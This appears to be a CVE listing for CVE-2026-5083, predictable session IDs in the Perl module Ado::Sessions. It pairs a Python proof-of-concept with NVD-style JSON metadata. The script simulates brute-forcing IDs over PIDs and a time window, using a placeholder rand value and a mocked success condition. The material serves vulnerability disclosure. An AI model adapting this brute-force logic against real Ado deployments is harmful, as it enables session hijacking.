CVE-2026-5083

#!/usr/bin/env python3 # PoC for CVE-2026-5083: Predictable Session ID in Ado::Sessions # This script demonstrates the logic to guess session IDs based on weak entropy. import hashlib import time def simulate_ado_session_id(epoch_time, pid, rand_seed): """ Simulates the weak session ID generation logic of Ado::Sessions. Real implementation depends on Perl's rand() state, which is predictable. """ # Concatenating weak entropy sources as described in the vulnerability entropy_source = f"{rand_seed}{epoch_time}{pid}" return hashlib.sha1(entropy_source.encode('utf-8')).hexdigest() def attack_simulation(target_time, known_pid_range=(1, 5000)): """ Simulates an attacker trying to guess a valid session ID by iterating over PIDs and a small time window. """ print(f"[*] Starting attack simulation for time: {target_time}") print(f"[*] Brute forcing PID range: {known_pid_range}") # Assume attacker guesses the rand state or observes a pattern # Here we use a placeholder for the predictable rand output predictable_rand_val = 12345 for pid in range(known_pid_range[0], known_pid_range[1]): # Check a small window around the guessed time (e.g. +/- 5 seconds) for t in range(target_time - 5, target_time + 5): predicted_id = simulate_ado_session_id(t, pid, predictable_rand_val) # In a real scenario, the attacker would check if this ID exists/is valid print(f"Testing PID: {pid}, Time: {t} -> SessionID: {predicted_id}") # Mock success condition for demonstration if pid == 2500 and t == target_time: print(f"[+] Successfully predicted session ID: {predicted_id}") return predicted_id return None if __name__ == "__main__": current_epoch = int(time.time()) attack_simulation(current_epoch)

{"cve": {"id": "CVE-2026-5083", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-04-08T06:16:29.163", "lastModified": "2026-04-23T15:04:27.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ado::Sessions versions through 0.935 for Perl generates insecure session ids.\n\nThe session id is generated from a SHA-1 hash seeded with the built-in rand function, the epoch time, and the PID. The PID will come from a small set of numbers, and the epoch time may be guessed, if it is not leaked from the HTTP Date header. The built-in rand function is unsuitable for cryptographic usage.\n\nPredicable session ids could allow an attacker to gain access to systems.\n\nNote that Ado is no longer maintained, and has been removed from the CPAN index. It is still available on BackPAN."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}, {"lang": "en", "value": "CWE-340"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:berov:ado\\:\\:sessions:*:*:*:*:*:perl:*:*", "versionEndIncluding": "0.935", "matchCriteriaId": "1DF482FB-2415-4BAE-B16A-99EA9F0CD85B"}]}]}], "references": [{"url": "https://backpan.perl.org/authors/id/B/BE/BEROV/Ado-0.935.tar.gz", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Product"]}, {"url": "https://github.com/kberov/Ado/issues/112", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Issue Tracking"]}, {"url": "https://security.metacpan.org/docs/guides/random-data-for-security.html", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/08/7", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}